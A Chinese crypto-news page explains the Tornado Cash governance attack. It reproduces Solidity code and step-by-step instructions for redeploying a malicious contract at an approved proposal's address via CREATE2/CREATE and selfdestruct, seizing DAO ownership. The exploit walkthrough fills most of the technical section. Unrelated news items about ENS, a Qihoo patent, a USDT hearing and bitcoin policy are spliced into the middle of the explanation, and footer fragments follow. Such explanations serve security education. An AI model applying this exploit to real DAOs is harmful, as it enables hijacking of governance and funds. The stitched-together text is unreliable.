大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看 SharkTeam 的 Tornado.Cash提案攻擊原理分析。
這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。
當使用 new Token() 使用的是 CREATE 操作碼 , 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。
當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是 CREATE2 操作碼 , 創建的合約地址計算函數為:
SPACE ID與ENS合作實現.bnb.eth和.eth.bnb的相互解析:金色財經報道,Web3域名和身份平臺SPACE ID與以太坊域名服務ENS達成合作,通過ERC-3668(CCIP讀取)將.bnb域名引入以太坊網絡,實現.bnb.eth和.eth.bnb的相互解析。在MetaMask上輸入xxx.bnb.eth,會在以太坊上解析為用戶的BNB Chain地址。[2023/5/5 14:44:15]
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。
那么如何才能在同一地址如何部署不用的合約?
攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:
代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和 Proposal 合約中均有自毀實現(selfdestruct)。
奇虎360公開“基于聯盟區塊鏈的標識解析方法”專利:8月30日消息,北京奇虎科技有限公司、中國信息通信研究院日前聯合公開一種“基于聯盟區塊鏈的標識解析方法、裝置、存儲介質及服務器”專利,申請日期為2021年4月29日,申請公布號:CN113315811A。天眼查App顯示,該專利屬于計算機技術領域。方法包括在第一對外節點接收到標識解析請求的情況下,從第一對外節點對應的本地數據庫中查詢是否存在與標識解析請求中的標識符對應的IPFS哈希值。
若未查詢到IPFS哈希值,則基于標識解析請求向聯盟區塊鏈中除第一對外節點之外的其他節點發送第一查詢請求;接收由聯盟區塊鏈中響應于第一查詢請求的節點發送的IPFS哈希值,并基于IPFS哈希值通過第一對外節點訪問IPFS服務,以獲取IPFS哈希值對應的標識解析信息由此可有效提高對標識解析過程的安全性,保證通過標識解析得到的數據不易被篡改。(郵箱網)[2021/8/30 22:45:51]
在提案通過后,攻擊者把 Deployer 和 Proposal 合約銷毀,然后重新用相同的slat創建 Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的 Deployer 合約地址, 但此時 Deployer 合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。
聲音 | 魯春叢:推動區塊鏈的創新技術在標識解析中深度應用:據中國信通院官網,8月15日,在中國工業互聯網標識大會上,工業和信息化部信息通信管理局副局長魯春叢演講表示,大力推進標識解析技術,標準研制,搭建規模性基礎技術創新以實驗的環境,聯合產學研用各方面力量,促進新型標識體系的研制,推動區塊鏈的創新技術在標識解析中深度應用。據介紹,標識解析體系是工業互聯網的核心基礎設施,是新一代互聯網的“中樞神經”。[2019/8/18]
此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, executed: false})); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}contract Proposal { event Log(string message); function executeProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}大家可以使用該代碼自己在 Remix 中演練一下。
分析 | USDT聽證會解析:瑞海君看幣觀點:一、預計聽證會圍繞的主題有如下兩個:
1.Bitfinex和Tether不顧美國法律和監管,為紐約州居民提供了相關服務。
2.Bitfinex和Tether之前在美國的業務,觸犯了美國的反洗錢法(這個才是對USDT具有巨大殺傷力的議題)。
二、?今晚可能達成的幾種結果:
1.BFX和Tether違規為美國居民提供服務罪名成立,會導致兩家共識會繼續被調查,且會被美國要求提供更多的運營資料,洗錢的事情沒結果,但是也要提交更多資料自正清白,這是利空!會導致USDT這個雷持續懸在整個幣圈的頭上,然后美國來一條新聞,幣圈震動一次,簡直就是噩夢。(概率中性)
行情影響:短暫反彈,然后繼續震蕩陰跌。
2.兩項罪名都沒結果,短暫利好,BFX繼續和美國扯皮,大家松一口氣暫時?,價格可能出現反彈。(可能性較大)
行情影響:短暫反彈,后市寬幅震蕩為主。
3.兩項罪名都成立,不可想像(可能性較小)!
行情影響:區塊鏈騙局。
洗錢罪名直接成立可能性也較小,調查沒那么快,所以請大家系好安全帶,等待靴子落地,兩只靴子到底如何落地,落地幾支,只有靜候今晚的聽證會了。[2019/7/29]
首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用 Deployer.deployProposal() 部署 Proposal 。
前美聯儲理事Kevin Warsh:從美國經濟政策角度解析比特幣價格波動: 前美聯儲理事、斯坦福大學胡佛研究所杰出訪問學者Kevin Warsh今日撰文,從政府經濟政策角度解讀了比特幣價格波動的原因。對于2017年BTC價格的狂飆,Warsh認為:1.特朗普上臺后推出的減稅等寬松政策持續刺激美國經濟增長,繼而帶來的通貨膨脹預期促使美國加息進度超預期,比特幣成為規避法幣貶值的避風港;2.特朗普政府貿易保護政策致使美元在2017年貶值12%,投資者尋求比特幣規避貶值;3.據去年10月、11月調查,美國民眾對政府的信任度下降14個百分點達到33%,而美元正是建立在公眾對政府信任的基礎上。而對于今年以來比特幣價格的大幅波動,是因為投資者正在調整對政府政策的預期,新任美聯儲主席也在重新考慮如何更好地實施貨幣政策,同時也在考慮推出自己的加密貨幣。[2018/3/8]
拿到 Proposal 提案合約地址后, 向 DAO 發起提案。
分別調用 Deployer.kill 和 Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal
再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署 Attack , Attack 將和之前的 Proposal 一致。
執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。
區塊律動BlockBeats
曼昆區塊鏈法律
Foresight News
GWEI Research
吳說區塊鏈
西柚yoga
ETH中文
金色早8點
金色財經 子木
ABCDE
0xAyA
作者:WILL GOTTSEGEN;編譯:Block unicorn趙長鵬(CZ),幣安的首席執行官,最近一直避開公眾關注.
1900/1/1 0:00:00原文作者:Mike Dalton,Cryptoslate 原文編譯:PANews 趕走 FUD 最近加密市場圍繞幣安的爭議較多.
1900/1/1 0:00:00在日常消費生活中,商業積分已經司空見怪。對于商家來說,這是其經營會員系統的一種手段,但對于大多數消費者來說,商家給予的積分并未得到他們足夠的重視.
1900/1/1 0:00:00DeFi數據 1、DeFi代幣總市值:460.34億美元 DeFi總市值及前十代幣 數據來源:coingecko2、過去24小時去中心化交易所的交易量33.
1900/1/1 0:00:00▌香港正在探索推出穩定幣HKDG金色財經報道,香港正在探索推出穩定幣HKDG,以與USDT和USDC等成熟穩定幣競爭.
1900/1/1 0:00:00作者:霧海,PANews5 月 30 日,根據 Dune 數據顯示.
1900/1/1 0:00:00